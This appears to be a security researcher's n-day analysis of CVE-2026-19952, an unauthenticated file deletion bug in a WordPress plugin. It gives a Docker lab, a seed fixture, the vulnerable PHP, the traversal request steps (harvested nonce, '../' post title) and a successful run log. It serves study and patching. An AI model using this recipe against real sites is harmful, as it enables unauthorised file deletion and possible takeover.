CVE-2026-19952: WordPress Frontend Admin, unauthenticated RCE
Frontend Admin 3.29.12 move_folders concatenates uploads/basedir with a merge-tagged directory name. [acf:post_title] is the POST title. ../ walks out of uploads and unlinks index.php. Public form, harvested nonce. 3.29.13 adds get_safe_upload_dir.
- Name
- CVE-2026-19952: WordPress Frontend Admin, unauthenticated RCE
- Type
- N-day analysis
- CVE
- CVE-2026-19952
- CVE Risk
- high
- Disclosure Status
- public
- Vendor
- DynamiApps
- Affected
- Frontend Admin by DynamiApps (acf-frontend-form-element), all versions through 3.29.12; patched in 3.29.13
- Published
- 19 Sept 2026
- Updated
- 19 Sept 2026
- Tags
- n-day, wordpress, path-traversal, cwe-22, unauthenticated, rce
The title is the path
I am @abraxas_null. The proof of concept is on GitHub: abraxas/CVE-2026-19952 (loopback client). The lab stack is lab/: Dockerfile, docker-compose.yml, docker-compose.override.yml. Authorized lab only. It talks to loopback.
CVE-2026-19952 (NVD, GHSA-3rrx-59q7-9g4m, Wordfence) is unauthenticated arbitrary file deletion in Frontend Admin by DynamiApps 3.29.12, slug acf-frontend-form-element. CWE-22. 7.5 High as scored; deleting the right file (wp-config.php) is RCE. Patched in 3.29.13 (get_safe_upload_dir).
The advisory names move_folders. That is a PHP method hooked on acf/pre_update_value for type upload_files, not upload_file. HTTP is admin-ajax.php action=frontend_admin/form_submit, nopriv. The directory name is a merge tag on the submitted post title. If you POST action=move_folders you get 0 and nothing happens.
This is a different door than CVE-2026-75816 on the same plugin. That one was user_1 and email. This one is 3.29.12, after the Email edit_user check, and it still concatenates uploads/basedir with attacker-controlled ../.
This is the map I used to get from a form 200 to a file that was there and then was not. Isolated lab, loopback only. I am not publishing a wp-config.php delete. The witness is a unique string disappearing from a lab index.php. The stack is in the CVE repo so you can run it at home. The client is the repo above.
What an attacker can do
Guest POST a new post whose title is ../somewhere. The plugin deletes somewhere/index.php. Delete the right file and you are in RCE territory. The lab deletes a planted witness file, not wp-config.php.
The lab (run this at home)
Source of truth is lab/ on GitHub. The Dockerfile pins wordpress:6.4-php8.2-apache. Compose adds mysql:8.0 and wordpress:cli. Port on loopback only. Bind 3.29.12 of the plugin next to compose as ./acf-frontend-form-element (SVN tag). Do not bind 3.29.13 if you want the sink.
# Loopback lab image pin for CVE-2026-19952. Full stack: docker-compose.yml
FROM wordpress:6.4-php8.2-apache# CVE-2026-19952 local WordPress lab. Loopback only.
services:
db:
image: mysql:8.0
environment:
MYSQL_DATABASE: wordpress
MYSQL_USER: wordpress
MYSQL_PASSWORD: wordpress
MYSQL_ROOT_PASSWORD: root
healthcheck:
test: ["CMD", "mysqladmin", "ping", "-h", "127.0.0.1", "-uroot", "-proot"]
interval: 5s
timeout: 5s
retries: 30
start_period: 15s
wordpress:
image: wordpress:6.4-php8.2-apache
ports:
- "127.0.0.1:8088:80"
environment:
WORDPRESS_DB_HOST: db
WORDPRESS_DB_USER: wordpress
WORDPRESS_DB_PASSWORD: wordpress
WORDPRESS_DB_NAME: wordpress
WORDPRESS_DEBUG: "1"
WORDPRESS_CONFIG_EXTRA: |
define('WP_DEBUG_LOG', '/var/log/lab/debug.log');
define('WP_DEBUG_DISPLAY', false);
volumes:
- wp_data:/var/www/html
- ./acf-frontend-form-element:/var/www/html/wp-content/plugins/acf-frontend-form-element:ro
depends_on:
db:
condition: service_healthy
wpcli:
image: wordpress:cli
user: "33:33"
volumes:
- wp_data:/var/www/html
- ./acf-frontend-form-element:/var/www/html/wp-content/plugins/acf-frontend-form-element:ro
environment:
WORDPRESS_DB_HOST: db
WORDPRESS_DB_USER: wordpress
WORDPRESS_DB_PASSWORD: wordpress
WORDPRESS_DB_NAME: wordpress
depends_on:
wordpress:
condition: service_started
entrypoint: ["sleep", "infinity"]
volumes:
wp_data:docker-compose.override.yml only routes logs.
# App processes should log to stdout and/or /var/log/lab.
services:
db:
logging:
driver: json-file
options:
max-size: "20m"
max-file: "5"
volumes:
- ./logs/db:/var/log/lab
- ./logs/db-mysql:/var/log/mysql
wordpress:
logging:
driver: json-file
options:
max-size: "20m"
max-file: "5"
volumes:
- ./logs/wordpress:/var/log/lab
- ./logs/wordpress-apache:/var/log/apache2The CVE needs a published admin_form with who_can_see=all, save_to_post=new_post, a post_title field, an upload_files field with custom_directory and custom_directory_name=[acf:post_title], a public page that renders that form, and a witness file under wp-content/poc19952/index.php. [post:title] bails while the post id is still add_post. [acf:post_title] takes the submitted title.
<?php
/**
* Lab fixture for Frontend Admin 3.29.12 (CVE-2026-19952).
* Public form, upload_files custom_directory, witness index.php.
*/
if ( ! defined( 'ABSPATH' ) ) {
exit;
}
$wit_dir = WP_CONTENT_DIR . '/poc19952';
if ( ! is_dir( $wit_dir ) ) {
wp_mkdir_p( $wit_dir );
}
file_put_contents( $wit_dir . '/index.php', "<?php echo 'POCWitness19952';\n" );
$form_id = wp_insert_post(
array(
'post_type' => 'admin_form',
'post_status' => 'publish',
'post_title' => 'lab files form',
'post_name' => 'lab-files-form',
'post_content' => serialize(
array(
'save_to_post' => 'new_post',
'new_post_type' => 'post',
'who_can_see' => 'all',
'form_conditions' => array(
array(
'who_can_see' => 'all',
'special_permissions' => array(),
'applies_to' => array( 'form' ),
),
),
)
),
),
true
);
update_post_meta( $form_id, 'form_key', 'form_lab19952' );
wp_insert_post(
array(
'post_type' => 'page',
'post_status' => 'publish',
'post_title' => 'fea files lab',
'post_name' => 'fea-files-lab',
'post_content' => '[frontend_admin form="' . (int) $form_id . '"]',
),
true
);The full seed also inserts the post_title and upload_files fields with custom_directory_name=[acf:post_title].
Bring-up from the CVE repo lab/:
git clone https://github.com/abraxas/CVE-2026-19952
cd CVE-2026-19952/lab
svn export https://plugins.svn.wordpress.org/acf-frontend-form-element/tags/3.29.12 acf-frontend-form-element
docker compose up -d --force-recreate
docker compose exec -T wpcli wp core install \
--url=http://127.0.0.1:8088 \
--title='CVE-2026-19952 Lab' \
--admin_user=admin \
--admin_password=labadmin \
--admin_email=lab@localhost.invalid \
--skip-email
docker compose exec -T wpcli wp plugin activate acf-frontend-form-element
docker compose cp seed.php wpcli:/tmp/seed.php
docker compose exec -T wpcli wp eval-file /tmp/seed.php
python3 ../CVE-2026-19952-Abraxas-Labs.pyThe seed is the fixture above; it is not in lab/ on GitHub. Do not publish the port off loopback. The proof of concept is written for 127.0.0.1:8088.
What the tree actually registers
Same nopriv frontend_admin/form_submit as 75816. Harvest _acf_form, _acf_nonce, _acf_objects, and the field keys from /fea-files-lab/. POST a title of ../poc19952 and a truthy files value so move_folders runs.
move_folders in 3.29.12:
function move_folders( $checked, $value, $post_id = false, $field = false ) {
if ( ! $value ) return $checked;
$uploads = wp_upload_dir();
if ( ! empty( $field['custom_directory'] ) && ! empty( $field['custom_directory_name'] ) ) {
$dir_name = $field['custom_directory_name'];
$dir_name = fea_instance()->dynamic_values->get_dynamic_values( $dir_name );
$create_directory = wp_mkdir_p( $uploads['basedir'] . '/' . $dir_name );
if ( $create_directory ) {
$upload_dir = $uploads['basedir'] . '/' . $dir_name;
if ( empty( $field['secure_directory'] ) ) {
if ( file_exists( $upload_dir . '/index.php' ) ) {
unlink( $upload_dir . '/index.php' );
}
}
}
}wp_upload_dir() basedir plus $dir_name with no containment. ../poc19952 from uploads is wp-content/poc19952. wp_mkdir_p will create it if needed. Then, if secure_directory is off, it unlinks index.php in that directory. That is the sink. A title of ../../wp-config.php's parent is how this becomes "delete the right file." I am not going to print that path.
3.29.13 adds get_safe_upload_dir. That is the patch. Update.
The 200 that was a form without a delete
The first client I pointed at this was polite. It used action=move_folders or type upload_file. The hook is upload_files. You get 0, or success JSON, and the witness file is still there.
A few other ways to lose without learning anything:
[post:title]as the merge tag. Onnew_postthe post id is stilladd_postand that tag bails.[acf:post_title]reads the submitted title.- Empty files field.
if ( ! $value ) return. Send something truthy. - Hard-coded nonce. Harvest from the public form.
- Success JSON alone. The file has to disappear.
- Deleting
wp-config.php. Theatre, and not the lab witness. - A reverse shell. This CVE is a delete.
The tell is: GET witness 200 with POCWitness19952, ajax small JSON, GET witness 301/404 without the string.
What I actually did
Treat the on-disk product as the spec. Wordfence named move_folders. I read the upload_files hook, then the merge tag, then planted a lab index.php. Proof of concept: CVE-2026-19952-Abraxas-Labs.py.
Witness, harvest, POST, witness. GET /wp-content/poc19952/index.php must contain the string. GET /fea-files-lab/ for hiddens. POST title ../poc19952 and files 1. GET the index again. The string must be gone.
Last lab run, trimmed:
before status=200 len=15
witness present
harvest status=200
ajax status=200
{"success":true,"data":{"success_message":"Post updated"}}
after status=301
SUCCESS CVE-2026-19952The file was there. Then it was not. That is the whole argument. The client that produced it is on GitHub.
Wrong turns: action=move_folders or type upload_file (the hook is upload_files); [post:title] on new_post (id is still add_post, that tag bails; [acf:post_title] reads the submitted title); empty files field (if ( ! $value ) return); success JSON alone; deleting wp-config.php.
What this is not
It is not 75816. Email edit_user does not contain this path. It is not an upload of PHP. It is unlink of whatever index.php sits in basedir plus the title.
Update to 3.29.13. Re-run the loopback client against the patched build: the witness file must still be there.
I am not going to print a title that deletes wp-config.php. The missing path containment and the merge tag are the useful part. If you own the box, run the proof of concept against loopback.
Client bugs look like product bugs. A helper that shadows http.client never sends a packet. .recv() on an HTTPResponse is not .read(). I mention that once because it cost time and looked, for a minute, like the plugin was fine.
References
- Proof of concept: abraxas/CVE-2026-19952 · CVE-2026-19952-Abraxas-Labs.py
- Lab:
lab/· Dockerfile · docker-compose.yml · override - @abraxas_null · github.com/abraxas · abraxaslabs.tech · abraxas.null@proton.me
- CVE-2026-19952 · NVD · GHSA-3rrx-59q7-9g4m · Wordfence · CWE-22
- Related: CVE-2026-75816 (email takeover on 3.29.11)
- Trac 3.29.12:
move_folders, nopriv form_submit - Patch: 3.29.13
get_safe_upload_dir - Source: SVN tags · Trac browser